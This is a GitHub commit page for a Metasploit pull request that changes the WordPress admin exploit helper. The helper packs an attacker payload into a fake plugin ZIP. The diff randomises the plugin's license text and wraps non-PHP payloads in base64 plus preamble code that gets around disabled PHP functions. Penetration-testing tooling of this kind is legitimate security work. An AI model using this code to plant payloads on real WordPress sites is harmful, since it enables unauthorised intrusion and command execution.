Skip to content

Commit 97e50cc

Browse files
authored
Merge pull request rapid7#19467 from jvoisin/wordpress_portable
Make lib/msf/core/exploit/remote/http/wordpress/admin.rb a tad more portable
2 parents 4b05de5 + 9f4fa3b commit 97e50cc

File tree

1 file changed

+12
-2
lines changed
  • lib/msf/core/exploit/remote/http/wordpress

1 file changed

+12
-2
lines changed

lib/msf/core/exploit/remote/http/wordpress/admin.rb

Lines changed: 12 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -55,11 +55,21 @@ def generate_plugin(plugin_name, payload_name)
5555
* Version: #{Faker::App.semantic_version}
5656
* Author: #{Faker::Name.name}
5757
* Author URI: #{Faker::Internet.url}
58-
* License: GPL2
58+
* License: #{['GPLv2', 'GPLv2 or later', 'GPL-2.0-or-later'].sample}
5959
*/
6060
?>)
6161

62-
php_code = "<?php #{target['Arch'] == ARCH_PHP ? payload.encoded : "system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));"} ?>"
62+
php_code = "<?php #{payload.encoded} ?>"
63+
if target['Arch'] != ARCH_PHP
64+
dis = '$' + Rex::Text.rand_text_alpha(rand(4..7))
65+
php_code = <<-END_OF_PHP_CODE
66+
#{php_preamble(disabled_varname: dis)}
67+
$c = base64_decode("#{Rex::Text.encode_base64(payload.encoded)}");
68+
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
69+
END_OF_PHP_CODE
70+
php_code = php_code + '?>'
71+
end
72+
6373
zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
6474
zip.add_file(File.join(plugin_name, "#{plugin_name}.php"), plugin_script)
6575
zip.add_file(File.join(plugin_name, "#{payload_name}.php"), php_code)

0 commit comments

Comments
 (0)